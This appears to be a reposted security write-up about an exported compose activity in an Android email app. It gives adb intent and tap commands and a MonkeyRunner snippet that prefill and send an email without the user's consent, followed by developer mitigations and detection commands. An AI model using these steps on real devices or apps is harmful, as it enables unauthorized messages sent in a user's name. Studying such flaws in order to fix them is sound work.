Exploiting Exported Activity in Android Secure Email App for Unauthorized Email Access

During a security assessment, a critical vulnerability was discovered in an Android secure email application. The issue stemmed from an exported activity (MessageComposeActivity), which allowed unauthorized email sending via manipulated Intent parameters.

Exploitation Steps

1. Static Analysis & Reverse Engineering

• Decompiled the APK to analyze MessageComposeActivity.
• Identified vulnerable Intent parameters:
  – `mailto:` (recipient)
  – `subject` (email subject)
  – `body` (email content)
  – `android.intent.action.SENDTO` (action trigger)

2. ADB Command Execution

adb shell am start -n com.secureemail.app/.MessageComposeActivity \
-a android.intent.action.SENDTO \
-d "mailto:[email protected]?subject=Hello&body=This is a test"

– This prefills the email interface with attacker-controlled data.

3. Automated UI Click Injection

• Used UI Automator to simulate a “Send” button click:

  adb shell input tap X Y  Replace X,Y with button coordinates
  

• Alternatively, automate via MonkeyRunner:

  from com.android.monkeyrunner import MonkeyRunner, MonkeyDevice
  device = MonkeyRunner.waitForConnection()
  device.touch(X, Y, MonkeyDevice.DOWN_AND_UP)
  

You Should Know:

• Mitigation for Developers:
• Set `android:exported=”false”` in AndroidManifest.xml.
• Restrict Intent filters with custom permissions.
• Validate Intent extras rigorously.

• Detection for Security Teams:

  List exported activities:
  adb shell dumpsys package | grep -i exported=true
  

• Use MobSF (Mobile Security Framework) for static analysis:

  python3 manage.py runserver  Host MobSF locally
  

What Undercode Say:

This exploit highlights the risks of improperly secured Android components. Always audit:
– Exported activities/services.
– Intent parameter handling.
– UI automation risks.

For further hardening:

 Check app debuggable flag (should be false):
adb shell dumpsys package [app.package.name] | grep debuggable

Prediction:

As mobile apps increasingly handle sensitive data, similar vulnerabilities will persist due to lax Intent controls. Expect more automated phishing attacks leveraging UI injection.

Expected Output:

• Unauthorized email sent via manipulated Intent.
• Logs of exploited MessageComposeActivity.
• Detection via adb logcat | grep SENDTO.

Relevant URL: Android Developer Docs on Exported Components

References:

Reported By: Muhanad Israiwi – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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